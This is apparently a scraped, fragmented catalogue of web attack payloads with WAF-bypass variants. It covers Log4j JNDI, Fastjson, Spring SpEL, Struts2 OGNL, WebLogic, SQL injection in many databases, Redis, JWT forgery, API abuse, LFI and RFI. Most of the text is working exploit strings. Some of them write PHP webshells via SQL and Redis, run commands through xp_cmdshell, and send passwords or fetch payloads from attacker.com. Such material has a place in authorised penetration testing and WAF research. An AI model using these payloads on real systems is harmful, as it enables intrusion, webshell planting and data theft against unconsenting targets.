共 176 个原始 payload 含 WAF/EDR 绕过变体
log4j-rce
Apache Log4j远程代码执行漏洞
WAF 绕过:
绕过关键字过滤
使用嵌套表达式绕过
${${lower:j}ndi:ldap://attacker.com} ${${upper:j}ndi:${lower:l}dap://attacker.com} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com}
语法解析:
${lower:j}
${::-j}
绕过特殊字符过滤
构造协议字符串
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker.com} ${jndi:dns://attacker.com}
jndi:
spring-actuator
Spring Boot Actuator端点安全漏洞
路径遍历与分号参数技巧
Spring框架的分号路径参数特性允许在URL中插入分号段绕过路径匹配规则,结合双编码和路径穿越访问被限制的Actuator端点
# 分号路径参数绕过(Spring特性): /;/actuator/env /actuator;.js/env /actuator/..;/actuator/env # 双URL编码: /%61%63%74%75%61%74%6f%72/env /actuator/%65%6e%76 # 路径穿越: /random/../actuator/env /api/v1/../../actuator/heapdump
# 分号路径参数绕过(Spring特性):
...
HTTP方法覆盖与Content-Type绕过
使用X-HTTP-Method-Override头覆盖请求方法,或通过非标准Content-Type和大小写变体绕过WAF对Actuator端点的POST请求拦截
# HTTP方法覆盖: GET /actuator/env HTTP/1.1 X-HTTP-Method-Override: POST # Content-Type绕过: POST /actuator/env HTTP/1.1 Content-Type: application/x-www-form-urlencoded spring.cloud.bootstrap.location=http://attacker.com/payload.yml # 大小写绕过: /Actuator/Env /ACTUATOR/ENV
# HTTP方法覆盖:
fastjson-rce
Alibaba Fastjson反序列化远程代码执行
Unicode编码与嵌套JSON绕过
通过Unicode(\u0040)、十六进制(\x40)编码@type字段名或嵌套JSON结构绕过WAF对Fastjson特征的检测
# Unicode编码@type: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true} # 十六进制编码: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true} # 嵌套JSON混淆: {"a":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}}
# Unicode编码@type:
BCEL ClassLoader与版本特异链
针对不同Fastjson版本使用特异性利用链:BCEL ClassLoader加载字节码、1.2.47缓存投毒、1.2.68 expectClass白名单绕过
# BCEL ClassLoader(Fastjson 1.1.15-1.2.24): {"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader","":"$$BCEL$$$l$8b..."} # Fastjson 1.2.47 AutoType绕过: {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}} # Fastjson 1.2.68 expectClass绕过: {"@type":"java.lang.AutoCloseable","@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
# BCEL ClassLoader(Fastjson 1.1.15-1.2.24):
spring-spel
Spring表达式语言注入攻击
字符串拼接
字符串拼接绕过
# 绕过关键字过滤 ${T(java.lang.Run"+"time).getRun"+"time().exec("id")} #{T(String).getClass().forName("java.la"+"ng.Runtime").getMethod("exec",T(String)).invoke(T(String).getClass().forName("java.la"+"ng.Runtime").getMethod("getRuntime").invoke(null),"id")}
EXEC
Runtime.exec
反射绕过
# 使用反射 #{T(Class).forName("java.lang.Runtime").getMethod("exec",T(String)).invoke(T(Class).forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")} # 使用ScriptEngine #{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\"id\\")")}
eval()
spring-cloud
Spring Cloud相关漏洞利用
编码绕过
# URL编码绕过 ..%252f = ..%2f = ../ # 双重URL编码 ..%252f..%252f
#
..%252f..%252f` — 参数与载荷内容 value
struts2-rce
Apache Struts2框架RCE漏洞
# URL编码 %{#cmd} = %25%7b%23cmd%7d # Unicode编码 \u0025{#cmd} # 双重编码 %2525%257b%2523cmd%257d
%{#cmd}
%2525%257b%2523cmd%257d` — 参数与载荷内容 value
表达式变体
表达式变体绕过
# 不同表达式语法 ${...} %{...} #{...} @{...} # 使用静态方法 @java.lang.Runtime@getRuntime() new java.lang.ProcessBuilder()
@java` — 模板表达式注入 value
struts2-ognl
Struts2 OGNL表达式注入技术详解
字符编码绕过
# Unicode编码 \u0069d = id \u0027 = ' # 十六进制 \x69\x64 = id # 字符串拼接 "i"+"d" = "id" 'id'.substring(0,2)
\uXXXX
# 使用反射调用 #cls=@java.lang.Class@forName("java.lang.Runtime") #method=#cls.getMethod("getRuntime") #rt=#method.invoke(null) #exec=#cls.getMethod("exec",@java.lang.String@class) #exec.invoke(#rt,"id")
使用反射调用 #cls=@java.lang.Class@forName("java.lang.Runtime") #method=#cls.getMethod("getRuntime") #rt=#method.invoke(null) #exec=#cls.getMethod("exec",@java.lang.String@class) #exec.invoke(#rt,"id")
weblogic-rce
Oracle WebLogic Server RCE漏洞
路径编码绕过
# 不同编码方式 /console/css/..;/console.portal /console/css/%2e%2e/console.portal /console/css/%252e%252e/console.portal /console/css/..%252fconsole.portal
不同编码方式 /console/css/..;/console.portal /console/css/%2e%2e/console.portal /console/css/%252e%252e/console.portal /console/css/..%252fconsole.portal
XML变体
XML变体绕过
# 使用不同XML标签 <void class="java.lang.Runtime" method="getRuntime"> <void method="exec"> <string>id</string> </void> </void> # 使用数组形式 <array class="java.lang.String" length="1"> <void index="0"><string>id</string></void> </array>
weblogic-t3
WebLogic T3协议反序列化漏洞
Gadget链选择
# 不同Gadget链 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsBeanutils1 Jdk7u21 Jre8u20 # 根据目标环境选择合适的链
weblogic-iiop
WebLogic IIOP协议反序列化漏洞
协议切换
协议切换绕过
# 在T3和IIOP之间切换 # 如果T3被禁用,尝试IIOP # 使用不同协议绕过检测
T3
IIOP
thinkphp-rce
ThinkPHP框架RCE漏洞
# URL编码 ?s=%2fIndex%2f%5cthink%5capp%2finvokefunction # 大小写混合 ?s=/Index/\Think\App/invokefunction # 双重编码 ?s=%252fIndex%252f%255cthink%255capp%252finvokefunction
?s=/Index/\Think\App/invokefunction
?s=%252fIndex%252f%255cthink%255capp%252finvokefunction` — 参数与载荷内容 value
路径变体
路径变体绕过
# 不同路径格式 ?s=/index/think\app/invokefunction ?s=index/think/app/invokefunction ?s=/index/\think\App/invokefunction # 使用不同入口点 /index.php?s=... /?s=... /public/index.php?s=...
/index.php?s=... /?s=... /public/index.php?s=...` — 参数与载荷内容 value
laravel-rce
Laravel框架RCE漏洞
路径绕过
# 尝试不同路径 /.env /.env.example /.env.local /.env.production /../.env /..%2f.env /..%252f.env
尝试不同路径 /.env /.env.example /.env.local /.env.production /../.env /..%2f.env /..%252f.env
shiro-deserialize
Apache Shiro RememberMe反序列化漏洞
# 不同Gadget链 CommonsCollections2 CommonsBeanutils1 Jdk7u21 JRMPClient # 根据目标环境选择 # 某些链可能被过滤
密钥爆破
# 使用工具爆破密钥 git clone https://github.com/insightglacier/Shiro_exploit python3 shiro_exploit.py -t http://target -f keys.txt # 或使用ShiroScan java -jar shiro_scan.jar -t http://target -f keys.txt
# 使用工具爆破密钥 git clone https://github.com/insightglacier/Shiro_exploit python3 s
jboss-vuln
JBoss应用服务器漏洞
端点变体
# 不同端点 /invoker/JMXInvokerServlet /invoker/EJBInvokerServlet /invoker/readonly/JMXInvokerServlet /jmx-console/ /web-console/
不同端点 /invoker/JMXInvokerServlet /invoker/EJBInvokerServlet /invoker/readonly/JMXInvokerServlet /jmx-console/ /web-console/
tomcat-vuln
Apache Tomcat服务器漏洞利用
文件名绕过
# 不同文件名变体 shell.jsp%20 shell.jsp::$DATA shell.jsp/ shell.jsp%00 shell.jSp shell.jsP
不同文件名变体 shell.jsp%20 shell.jsp::$DATA shell.jsp/ shell.jsp%00 shell.jSp shell.jsP
django-vuln
Django框架安全漏洞
# URL编码 /static/%2e%2e/%2e%2e/etc/passwd # 双重编码 /static/%252e%252e/%252e%252e/etc/passwd # Unicode编码 /static/..%c0%af..%c0%af/etc/passwd
/static/%252e%252e/%252e%252e/etc/passwd
/static/..%c0%af..%c0%af/etc/passwd` — 参数与载荷内容 value
flask-vuln
Flask框架安全漏洞
SSTI绕过
# 过滤绕过 # 使用attr {{''|attr('__class__')|attr('__mro__')}} # 使用request {{request|attr('application')|attr('__globals__')}} # 使用字符串拼接 {{'__cla'~'ss__'}} # 使用编码 {{''['\x5f\x5fclass\x5f\x5f']}}
weblogic-xmldecoder
利用WebLogic Server中XMLDecoder反序列化漏洞(CVE-2017-10271/CVE-2017-3506)实现远程代码执行
备用反序列化端点
尝试WebLogic WLS-WSAT组件的多个不同SOAP端点,部分端点可能未被WAF规则覆盖
# 尝试不同的XMLDecoder入口 curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/CoordinatorPortType curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/CoordinatorPortType11 curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/ParticipantPortType curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/RegistrationPortTypeRPC curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/RegistrationRequesterPortType
# 尝试不同的XMLDecoder入口
T3/IIOP协议绕过HTTP层WAF
使用T3或IIOP协议发送反序列化payload,绕过仅检测HTTP流量的WAF
# T3协议利用(绕过HTTP层WAF) python3 weblogic_t3_exploit.py -t target:7001 -c "id" # IIOP协议利用 python3 weblogic_iiop_exploit.py -t target:7001 -c "whoami" # 使用ysoserial生成T3 payload java -jar ysoserial.jar CommonsCollections1 "touch /tmp/test" | python3 t3_send.py target 7001
# T3协议利用(绕过HTTP层WAF)
XML编码混淆绕过
通过XML编码(UTF-16/CDATA/实体编码)混淆payload内容绕过基于内容匹配的WAF
<!-- UTF-16编码绕过 --> <?xml version="1.0" encoding="UTF-16"?> <!-- CDATA包裹关键字 --> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string><![CDATA[/bin/sh]]></string></void> <void index="1"><string><![CDATA[-c]]></string></void> <void index="2"><string><![CDATA[id]]></string></void> </array> <void method="start"/> </object> </java>
<!-- UTF-16编码绕过 -->
<?xml version="1.0" encoding="UTF-16"?>
sqli-mysql-basic
MySQL数据库注入基础探测与数据提取技术
大小写混淆
使用大小写混合绕过关键字过滤
' UnIoN SeLeCt 1,database(),3-- ' uNiOn SeLeCt 1,user(),3--
UnIoN SeLeCt
内联注释
使用MySQL特有内联注释绕过
' /*!UNION*/ /*!SELECT*/ 1,database(),3-- ' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
/*!UNION*/
/*!50000
双写绕过
双写关键字绕过替换过滤
' UNUNIONION SELSELECTECT 1,database(),3-- ' UNIunionON SELselectECT 1,2,3--
UNUNIONION
SELSELECTECT
空格替代
使用注释、换行、括号替代空格
'/**/UNION/**/SELECT/**/1,database(),3-- ' %0aUNION%0aSELECT%0a1,2,3-- '(UNION(SELECT(1),(database()),(3)))--
/**/
%0a
()
使用编码函数绕过关键字检测
' UNION SELECT 1,hex(database()),3-- ' UNION SELECT 1,unhex(hex(database())),3-- ' UNION SELECT 1,conv(hex(database()),16,10),3--
hex()
unhex()
conv()
sqli-mysql-advanced
MySQL高级注入技术:文件读写、UDF提权、命令执行
Hex编码写入
使用十六进制编码绕过关键字检测 platform: linux
' UNION SELECT 1,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,3 INTO DUMPFILE '/var/www/html/shell.php'--
0x3c3f706870...
INTO DUMPFILE
Char编码绕过
使用CHAR函数编码绕过 platform: linux
' UNION SELECT 1,CHAR(60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62),3 INTO OUTFILE '/var/www/html/s.php'--
CHAR(60,63...)
sqli-mssql-basic
Microsoft SQL Server数据库注入技术
Hex编码
使用Hex编码绕过
' UNION SELECT 1,master.dbo.fn_varbintohexstr(CAST(username AS VARBINARY)),3 FROM users--
fn_varbintohexstr()
注释绕过
使用注释和空字节绕过
'/**/UNION/**/SELECT/**/1,2,3-- ' UN%00ION SELECT 1,2,3--
UNION
SELECT
--
/*...*/
%xx
sqli-mssql-advanced
MSSQL高级注入:xp_cmdshell、SP_OACREATE命令执行
堆叠查询
使用动态SQL绕过 platform: windows
'; EXEC('EXEC master..xp_cmdshell ''whoami''')-- '; DECLARE @cmd VARCHAR(255); SET @cmd='whoami'; EXEC master..xp_cmdshell @cmd;--
EXEC()
DECLARE
sqli-oracle-basic
Oracle数据库注入基础技术
UTL_HTTP外带
使用UTL_HTTP外带数据
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE rownum=1)),NULL FROM DUAL--
UTL_HTTP.REQUEST()
sqli-oracle-advanced
Oracle高级注入技术:Java存储过程、UTL_FILE文件操作
Oracle特有函数绕过
使用Oracle XMLType、DBMS_PIPE、CASE表达式等特有函数绕过WAF关键字检测
' UNION SELECT 1,XMLType('<root>'||CHR(60)||'data'||CHR(62)||user||'</data></root>') FROM DUAL-- ' UNION SELECT 1,DBMS_PIPE.PACK_MESSAGE(user)||DBMS_PIPE.SEND_MESSAGE('pipe1') FROM DUAL-- ' UNION SELECT 1,CASE WHEN (SELECT user FROM DUAL)='SYS' THEN 'admin' ELSE 'user' END FROM DUAL--
SELECT...FROM
CASE WHEN
Oracle注释与编码绕过
使用注释符替代空格、CHR()编码字符串、RAWTOHEX/UTL_ENCODE进行数据编码绕过
' UNION/**/SELECT/**/1,user/**/FROM/**/DUAL-- ' UNION SELECT 1,CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78) FROM DUAL-- ' UNION SELECT 1,RAWTOHEX(user) FROM DUAL-- ' UNION SELECT 1,UTL_RAW.CAST_TO_VARCHAR2(UTL_ENCODE.BASE64_ENCODE(UTL_RAW.CAST_TO_RAW(user))) FROM DUAL--
HEX()
base64
sqli-postgres-basic
PostgreSQL数据库注入技术
使用chr函数编码
' UNION SELECT chr(60)||chr(63)||'php system($_GET[c]);'||chr(63)||chr(62),NULL--
chr()
sqli-sqlite-basic
SQLite数据库注入攻击
SQLite字符编码绕过
使用CHAR()函数构造字符串、X前缀十六进制字面量、typeof()和unicode()进行类型推断盲注绕过WAF
' UNION SELECT CHAR(116,101,115,116),NULL-- ' UNION SELECT X'746573746461746131',NULL-- ' AND typeof(CASE WHEN unicode(substr((SELECT name FROM sqlite_master LIMIT 1),1,1))>96 THEN 1 ELSE 0.0 END)='integer'--
SUBSTRING
SQLite运算符与函数替代
使用LIKE/GLOB模式匹配替代等号、instr()替代SUBSTRING、group_concat配合replace混淆数据
' AND (SELECT name FROM sqlite_master WHERE type='table' AND name LIKE '%user%')-- ' AND (SELECT name FROM sqlite_master WHERE type='table' AND name GLOB '*user*')-- ' UNION SELECT replace(group_concat(name,','),'_',''),NULL FROM sqlite_master WHERE type='table'-- ' AND instr((SELECT sql FROM sqlite_master LIMIT 1),'password')>0--
WHERE
CONCAT
GROUP_CONCAT
sqli-mongodb-basic
NoSQL数据库注入攻击技术
Unicode绕过
Unicode编码绕过
{"username": {"\u0024ne": ""}} 使用Unicode编码$符号
sqli-redis
Redis未授权访问和命令注入
Redis命令混淆绕过
使用引号分割命令字符串、拼接变量等方式混淆Redis命令绕过WAF检测
redis-cli -h target.com > "C""O""N""F""I""G" SET dir /var/www/html/ > $(printf 'CONF')$(printf 'IG') SET dbfilename shell.php > SET shell "<?php system(\$_GET['cmd']); ?>" > SAVE
system()
$()
Redis Lua脚本执行绕过
通过EVAL执行Lua脚本间接调用Redis命令,绕过对CONFIG/SET等直接命令的检测
redis-cli -h target.com > EVAL "redis.call('set','shell','<?php system(\$_GET[c]); ?>')" 0 > EVAL "redis.call('config','set','dir','/var/www/html/')" 0 > EVAL "redis.call('config','set','dbfilename','test.php')" 0 > EVAL "redis.call('save')" 0
sqli-blind
基于布尔条件的SQL盲注技术
布尔盲注条件表达式替代
使用CASE WHEN替代IF()、MID()替代SUBSTRING()、LEFT/RIGHT组合截取、BETWEEN替代大于小于比较
' AND (CASE WHEN (MID(database(),1,1)='a') THEN 1 ELSE 0 END)=1-- ' AND LEFT(database(),1)>'a'-- ' AND RIGHT(LEFT(database(),2),1)='d'-- ' AND ORD(MID(database(),1,1))BETWEEN 97 AND 122--
布尔盲注数学运算与位运算绕过
使用HEX/CONV进行编码比较、位与运算(&)判断字符范围、POW()数学函数混淆、DIV替代AND
' AND (SELECT CONV(HEX(SUBSTR(database(),1,1)),16,10))>96-- ' AND (SELECT ORD(MID(database(),1,1))&0x40)=0x40-- ' AND (SELECT POW(ORD(MID(database(),1,1)),0))+0=1-- ' DIV 1 AND (SELECT LENGTH(database()))>0--
sqli-time-based
基于时间延迟的SQL盲注技术
时间延迟替代函数绕过
使用BENCHMARK()替代SLEEP()、笛卡尔积重查询消耗时间、GET_LOCK()锁等待、CASE条件触发延时
' AND BENCHMARK(5000000,SHA1('test'))-- ' AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)-- ' AND GET_LOCK('sqli_test',5)-- ' AND (CASE WHEN database() LIKE '%' THEN BENCHMARK(3000000,MD5('x')) ELSE 0 END)--
information_schema
BENCHMARK
跨数据库时间延迟绕过
利用各数据库特有的时间延迟方法:PostgreSQL的pg_sleep条件触发、MSSQL的IF条件WAITFOR、Oracle的DBMS_PIPE.RECEIVE_MESSAGE替代DBMS_LOCK
PostgreSQL: ' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)-- MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'-- Oracle: ' AND 1=CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE 0 END-- MySQL: ' AND (SELECT SLEEP(5) FROM DUAL WHERE 1=1)--
SLEEP()
WAITFOR DELAY
sqli-error-based
利用错误信息提取数据的SQL注入
替代报错函数绕过
使用GEOMETRYCOLLECTION空间函数、JSON_KEYS、ST_LatFromGeoHash等冷门函数替代extractvalue/updatexml触发报错
' AND GEOMETRYCOLLECTION((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- ' AND (SELECT 1 FROM (SELECT NTILE(1) OVER(ORDER BY (SELECT version())))a)-- ' AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7e,version())) USING utf8)))-- ' AND ST_LatFromGeoHash(version())--
ORDER BY
编码与科学计数法绕过
使用unhex(hex())双层编码、EXP()科学计数法溢出、URL双重编码(%26%26替代AND)绕过WAF检测
' AND extractvalue(1,concat(0x7e,(SELECT unhex(hex(database())))))-- ' AND 1=1 AND EXP(~(SELECT * FROM (SELECT CONCAT(0x7e,database(),0x7e) x)a))-- ' AND (SELECT 1 FROM (SELECT count(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.schemata GROUP BY x)a)-- ' %26%26 updatexml(1,concat(0x7e,(select%20database())),1)--%20
UNHEX()
sqli-second-order
存储后触发的SQL注入攻击
编码存储触发绕过
在存储阶段使用注释截断(/**/)或CHAR()编码构造payload,WAF在输入时检测不到恶意SQL,但数据库二次使用时自动触发
注册用户名: admin'/* 随后修改密码时SQL变为: UPDATE users SET password='new' WHERE username='admin'/*' 注册用户名: CONCAT(CHAR(39),CHAR(32),CHAR(79),CHAR(82),CHAR(32),CHAR(39),CHAR(49),CHAR(39),CHAR(61),CHAR(39),CHAR(49)) 存储后二次使用时自动解码触发注入
UPDATE...SET
Unicode标准化绕过
利用Unicode全角字符(U+FF07)标准化、转义序列还原、不同功能模块的过滤差异来绕过WAF检测
注册用户名: admin' OR '1'='1 (使用全角引号U+FF07,数据库标准化为半角后触发) 注册邮箱: test@test.com' UNION SELECT password FROM users WHERE '1'='1 (邮箱验证通过WAF但存储后在其他查询中拼接触发) 评论内容: \x27 OR 1=1-- (转义序列在存储层被还原为单引号)
OR '1'='1'
sqli-union
使用UNION SELECT提取数据
UNION注入关键字绕过
使用MySQL版本注释/!50000/、URL编码UNION/SELECT关键字、%23换行绕过、空白字符混淆(%09 TAB, %0d CR, %0b VT)
' /*!50000UNION*/ /*!50000SELECT*/ 1,database(),3-- ' %55%4e%49%4f%4e %53%45%4c%45%43%54 1,2,3-- ' uNiOn%23%0aSeLeCt 1,2,3-- ' UNION%0a%09%0d%0bSELECT%0a1,2,3--
UNION注入NULL字节与分块绕过
使用NULL字节(%00)截断WAF检测、UNION ALL绕过去重检测、HTTP分块传输编码将关键字分散到不同chunk、自定义SEPARATOR替代默认逗号
' UNION%00SELECT 1,2,3-- ' /*!UNION*/%20/*!ALL*//*!SELECT*/ 1,2,3-- Transfer-Encoding: chunked 5 UNION 7 SELECT 1 0 ' UNION SELECT 1,group_concat(table_name SEPARATOR 0x3c62723e),3 FROM information_schema.tables WHERE table_schema=database()--
Transfer-Encoding
chunked
sqli-stacked
执行多条SQL语句的注入
堆叠查询终止符替代绕过
使用URL编码分号(%3B)、换行符分隔、内联注释包裹SELECT、PREPARE预处理执行十六进制编码的查询语句
' %3B SELECT user()-- ' ;%0a SELECT user()-- ' ; /*!SELECT*/ user()-- '; SET @q=0x53454C45435420757365722829; PREPARE stmt FROM @q; EXECUTE stmt;--
堆叠查询条件执行绕过
使用字符串拼接分割命令关键字、CHAR()编码命令参数、CASE条件执行、PostgreSQL DO块执行复杂逻辑
'; IF(1=1) EXEC('wh'+'oam'+'i');-- '; DECLARE @s VARCHAR(100)=CHAR(119)+CHAR(104)+CHAR(111)+CHAR(97)+CHAR(109)+CHAR(105); EXEC xp_cmdshell @s;-- '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) END;-- '; DO $$ BEGIN PERFORM dblink_connect('host=attacker.com dbname=test'); END $$;--
xp_cmdshell
jwt-security
JSON Web Token安全漏洞利用
JWK/JKU头部注入
通过在JWT Header中注入jwk(内嵌密钥)或jku(远程密钥集URL)指向攻击者控制的密钥,使服务端使用攻击者密钥验证签名
# JWK内嵌公钥注入: # 在JWT Header中嵌入攻击者的公钥: {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"attacker_n","e":"AQAB"}} # 服务端使用Header中的JWK验证签名 # JKU远程密钥集注入: {"alg":"RS256","typ":"JWT","jku":"http://attacker.com/.well-known/jwks.json"} # 服务端从攻击者控制的URL获取密钥
# JWK内嵌公钥注入:
x5c证书链注入
通过x5c头部注入攻击者自签证书链,使服务端从证书中提取公钥进行验证,攻击者用对应私钥签名即可伪造任意JWT
# 生成自签名证书: openssl req -x509 -nodes -newkey rsa:2048 -keyout attacker.key -out attacker.crt -subj "/CN=attacker" # 构造JWT Header: {"alg":"RS256","x5c":["ATTACKER_CERT_BASE64"]} # 用攻击者私钥签名,x5c中放入攻击者证书 # 服务端从x5c提取公钥验证签名,攻击者自签即可通过 # 使用jwt_tool: python3 jwt_tool.py <token> -X s -pr attacker.key
# 生成自签名证书:
graphql-injection
GraphQL API注入与信息泄露攻击
字段建议绕过
利用字段建议和片段枚举
# 利用字段建议功能 query { userr(id: 1) { name } } # 返回: Did you mean "user"? # 枚举隐藏字段 query { user(id: 1) { __typename ...on AdminUser { adminSecret } } }
...on AdminUser
指令注入
使用GraphQL指令绕过
# 使用指令绕过 query { user(id: 1) @deprecated { name } } # 自定义指令攻击 mutation @skip(if: false) { deleteUser(id: 1) }
@deprecated
@skip
graphql-introspection
利用GraphQL内省功能获取API结构
绕过内省禁用
绕过内省禁用检测
# 某些实现只检查特定字符串 # 尝试不同格式 query { __schema { types { name } } } query IntrospectionQuery { __schema { types { name } } } {"query":"{__schema{types{name}}}" # 使用GET请求 curl "http://target.com/graphql?query={__schema{types{name}}}"
graphql-batching
利用GraphQL批量查询绕过速率限制
绕过批量限制
绕过批量查询限制
# 分散查询 # 使用不同的查询格式 query BatchQuery { user1: user(id: 1) { ...UserFields } user2: user(id: 2) { ...UserFields } } fragment UserFields on User { name email } # 使用变量批量 query GetUser($ids: [ID!]!) { users(ids: $ids) { name email } }
query{...}
rest-api-security
REST API安全测试与漏洞利用
API版本绕过
使用不同API版本绕过
# 尝试不同API版本 /api/v1/users # 可能已修复 /api/v2/users # 可能未修复 /api/users # 旧版本可能无保护 # 尝试内部API /internal/api/users /private/api/users /_api/users
# 尝试不同API版本 /api/v1/users # 可能已修复 /api/v2/users # 可能未修复 /api/users # 旧版
使用编码绕过
# URL编码 curl http://target.com/api/users/%31 # /users/1 # Unicode编码 curl http://target.com/api/users/%u0031 # 双重URL编码 curl http://target.com/api/users/%2531
curl h` — 攻击载荷 value
jwt-none-alg
利用JWT None算法绕过签名验证
算法混淆
尝试算法变体
# 尝试不同变体 {"alg":"none"} {"alg":"None"} {"alg":"NONE"} {"alg":"nOnE"} {"alg":""} {"alg":null} # 移除alg字段 {"typ":"JWT"}
{"typ":"JWT"}` — 参数与载荷内容 value
签名绕过
签名绕过变体
# 空签名 header.payload. # 任意签名 header.payload.anysignature # 使用原始签名 # 某些库会忽略签名验证
header.payload.anysignature
jwt-key-confusion
利用JWT算法混淆实现签名绕过
kid注入
通过kid参数注入
# kid参数注入 # 修改JWT头部kid字段 {"alg":"HS256","typ":"JWT","kid":"../../dev/null"} # SQL注入kid {"alg":"HS256","typ":"JWT","kid":"key UNION SELECT secret--"} # 命令注入kid {"alg":"HS256","typ":"JWT","kid":"|/bin/bash -c id"}
kid
jku/x5u绕过
通过jku/x5u绕过
# jku指向攻击者服务器 {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/.well-known/jwks.json"} # x5u指向攻击者证书 {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"} # 在攻击者服务器托管恶意密钥
jku
x5u
api-idor
利用IDOR漏洞访问未授权资源
ID变体绕过
# 数字变体 /api/users/001 /api/users/1 /api/users/0x1 /api/users/1.0 # 编码绕过 /api/users/%31 # URL编码 /api/users/MSAg # Base64编码 # 数组绕过 /api/users?id[]=1&id[]=2 /api/users[0]=1&users[1]=2
参数污染
参数污染绕过
# 参数污染 /api/users?id=1&id=2 /api/users?id=2&id=1 # JSON注入 {"id": 1, "id": 2} # 批量操作 /api/users/batch?ids=1,2,3,4,5
{"id": 1, "id": 2}
/api/users/batch?ids=1,2,3,4,5` — 参数与载荷内容 value
api-rate-limit
绕过API速率限制进行暴力攻击
API Key轮换
# 使用多个API Key api_keys = ["key1", "key2", "key3", "key4"] for i, key in enumerate(api_keys): requests.get("http://target.com/api/test", headers={"X-API-Key": key}) # 注册多个账户获取多个Token
# 使用多个API Key api_keys = ["key1", "key2", "key3", "key4"] for i, key in enumer
请求分散
# 添加延迟 import time for i in range(100): requests.get("http://target.com/api/test") time.sleep(0.5) # 每次请求头隔0.5秒 # 分散到不同时间段 # 使用定时任务分散请求
# 添加延迟 import time for i in range(100): requests.get("http://target.com/api/test") time.
sleep
api-mass-assignment
利用批量赋值漏洞修改敏感字段
字段变体
尝试字段变体
# 尝试不同字段名 is_admin, is_Admin, IS_ADMIN admin, Admin, ADMIN user_type, userType, user_type_id # 尝试内部字段 __v, _id, created_at, updated_at password_hash, passwordHash
# 尝试不同字段名 is_admin, is_Admin, IS_ADMIN admin, Admin, ADMIN user_type, userTyp
类型混淆
类型混淆测试
# 数字转布尔 {"isAdmin": 1} {"isAdmin": "true"} # 数组转字符串 {"roles": "admin"} # 对象转数组 {"settings": ["admin"]}
{"roles": "admin"}
{"settings": ["admin"]}` — 参数与载荷内容 value
api-bola
利用BOLA漏洞访问未授权对象
路径遍历
路径遍历绕过
# 路径遍历访问 GET /api/users/../admin GET /api/users/..%2Fadmin # 编码绕过 GET /api/users/%2e%2e/admin GET /api/users/..%c0%afadmin
GET /api/users/%2e%2e/admin GET /api/users/..%c0%afadmin` — 参数与载荷内容 value
参数篡改
参数篡改绕过
# 修改请求方法 # GET变POST POST /api/documents/doc_123 # 添加参数 GET /api/documents/doc_123?user_id=attacker # 修改Content-Type Content-Type: application/xml <document><id>doc_123</id></document>
POST /api/documents/doc_123
GET /api/documents/doc_123?user_id=attacker
Content-Type: application/xml doc_123` — 参数与载荷内容 value
api-injection
API端点中的各类注入攻击
# URL编码 GET /api/users?id=1%20OR%201%3D1 # Unicode编码 GET /api/users?id=1%u0020OR%u00201%3D1 # 双重编码 GET /api/users?id=1%2520OR%25201%253D1
GET /api/users?id=1%u0020OR%u00201%3D1
GET /api/users?id=1%2520OR%25201%253D1` — 参数与载荷内容 value
Content-Type绕过
# 切换Content-Type Content-Type: application/xml <user><id>1 OR 1=1</id></user> Content-Type: application/x-www-form-urlencoded id=1+OR+1=1 # JSON数组 {"id": ["1", "OR", "1=1"]}
# 切换Content-Type Content-Type: application/xml <user><id>1
OR
Content-Type: application/x-www-form-urlencoded id=1+` — SQL表达式 value
{"id": ["1", "` — SQL表达式 value
", "1=1"]}
lfi-basic
本地文件包含漏洞利用技术
目录遍历绕过
绕过目录遍历过滤
....//....//....//etc/passwd ..%252f..%252f..%252fetc/passwd ..%c0%af..%c0%af..%c0%afetc/passwd ....\/....\/....\/etc/passwd
%252f
%c0%af
后缀绕过
绕过文件后缀检查
../../../etc/passwd%00 ../../../etc/passwd%00.jpg ../../../etc/passwd/.jpg php://filter/convert.base64-encode/resource=config.php%00
%00
rfi-basic
远程文件包含漏洞利用技术
双写绕过关键字过滤
?file=htthttp://p://attacker.com/shell.txt ?file=http://attackerattacker.com.com/shell.txt
?file=htthttp://p://attacker.com/shell.txt ?file=http://attackerattacker.com.co
大小写混淆绕过
?file=HtTp://attacker.com/shell.txt ?file=HTTP://attacker.com/shell.txt
协议替换
使用其他协议
